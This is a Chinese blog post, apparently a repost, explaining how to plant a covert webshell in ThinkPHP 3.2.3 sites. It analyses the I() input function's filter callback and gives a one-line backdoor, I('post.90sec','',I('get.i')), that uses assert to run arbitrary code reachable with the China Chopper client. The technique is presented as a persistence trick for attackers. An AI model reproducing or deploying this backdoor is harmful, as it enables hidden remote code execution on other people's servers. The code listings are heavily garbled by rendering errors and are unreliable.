ThinkPHP留后门技巧

@ThinkPHP留后门技巧

90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。

01 function I($name, $default = ‘’, $filter = null, $datas = null)
02 {
03 …
04
05 if (’’ == $name) {
06 // 获取全部变量
07 $data = $input;
08 f i l t e r s = i s s e t ( filters = isset( filters=isset(filter) ? f i l t e r : C ( ′ D E F A U L T F I L T E R ′ ) ; 09 i f ( filter : C('DEFAULT_FILTER'); 09 if ( filter:C(DEFAULTFILTER);09if(filters) {
10 if (is_string($filters)) {
11 $filters = explode(’,’, KaTeX parse error: Expected 'EOF', got '}' at position 26: …12 }̲ 13 …filters as $filter) {
14 d a t a = a r r a y m a p r e c u r s i v e ( data = array_map_recursive( data=arraymaprecursive(filter, KaTeX parse error: Expected 'EOF', got '}' at position 31: …15 }̲ 16 } 1…input[$name])) {
18 // 取值操作
19 $data = i n p u t [ input[ input[name];
20 f i l t e r s = i s s e t ( filters = isset( filters=isset(filter) ? f i l t e r : C ( ′ D E F A U L T F I L T E R ′ ) ; 21 i f ( filter : C('DEFAULT_FILTER'); 21 if ( filter:C(DEFAULTFILTER);21if(filters) {
22 if (is_string(KaTeX parse error: Expected '}', got 'EOF' at end of input: … (0 === strpos(filters, ‘/’)) {
24 if (1 !== preg_match($filters, (string) KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? $default : null;
27 }
28 } else {
29 $filters = explode(’,’, KaTeX parse error: Expected 'EOF', got '}' at position 30: … }̲ 31 …filters)) {
32 f i l t e r s = a r r a y ( filters = array( filters=array(filters);
33 }
34
35 if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: … foreach (filters as KaTeX parse error: Expected '}', got 'EOF' at end of input: …unction_exists(filter)) {
38 d a t a = i s a r r a y ( data = is_array( data=isarray(data) ? array_map_recursive($filter, $data) : f i l t e r ( filter( filter(data); // 参数过滤
39 } else {
40 d a t a = f i l t e r v a r ( data = filter_var( data=filtervar(data, is_int($filter) ? f i l t e r : f i l t e r i d ( filter : filter_id( filter:filterid(filter));
41 if (false === KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? $default : null;
43 }
44 }
45 }
46 }
47 }
48 …
49 return $data;
50

I函数的第三个参数是$filter,作用是对变量的过滤。

新版本(3.2.3)中,$filter可以传入两种4种值:

1.一个过滤函数(字符串)

2.一些过滤函数组成的字符串,其间用“|”分割

3.一些过滤函数的字符串组成的数组

4.以“/”开头的正则表达式



可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

convention_php_—_thinkphp.png

以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:

1 if (0 === strpos(KaTeX parse error: Expected '}', got 'EOF' at end of input: …!== preg_match(filters, (string) KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? KaTeX parse error: Expected 'EOF', got '}' at position 23: … : null; 5 }̲ 6 } 如果第0个字…default。

而回调函数部分,是我们留后门的关键。核心是这一段:

01 if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: …2 foreach (filters as KaTeX parse error: Expected '}', got 'EOF' at end of input: …unction_exists(filter)) {
04 d a t a = i s a r r a y ( data = is_array( data=isarray(data) ? array_map_recursive($filter, $data) : f i l t e r ( filter( filter(data); // 参数过滤
05 } else {
06 d a t a = f i l t e r v a r ( data = filter_var( data=filtervar(data, is_int($filter) ? f i l t e r : f i l t e r i d ( filter : filter_id( filter:filterid(filter));
07 if (false === KaTeX parse error: Expected '}', got 'EOF' at end of input: … return isset(default) ? $default : null;
09 }
10 }
11 }
12 }
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。

我们跟进array_map_recursive函数:

01 function array_map_recursive($filter, $data)
02 {
03 r e s u l t = a r r a y ( ) ; 04 f o r e a c h ( result = array(); 04 foreach ( result=array();04foreach(data as $key => $val) {
05 r e s u l t [ result[ result[key] = is_array( v a l ) 06 ? a r r a y m a p r e c u r s i v e ( val) 06 ? array_map_recursive( val)06?arraymaprecursive(filter, v a l ) 07 : c a l l u s e r f u n c ( val) 07 : call_user_func( val)07:calluserfunc(filter, $val);
08 }
09 return $result;
10 }
明显是一个递归执行的过程,最后调用的是call_user_func 。

还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。

所以,我们只需要随意找个controller,在可访问的方法中插入:

1 I(‘post.90sec’, ‘’, I(‘get.i’));
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。

我就拿thinkphp默认的IndexController下的index方法示例:

IndexController_class_php_—_thinkphp.png

如下即可执行任意代码:

phpinfo__.png

一个回调后门,菜刀也可以连接。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值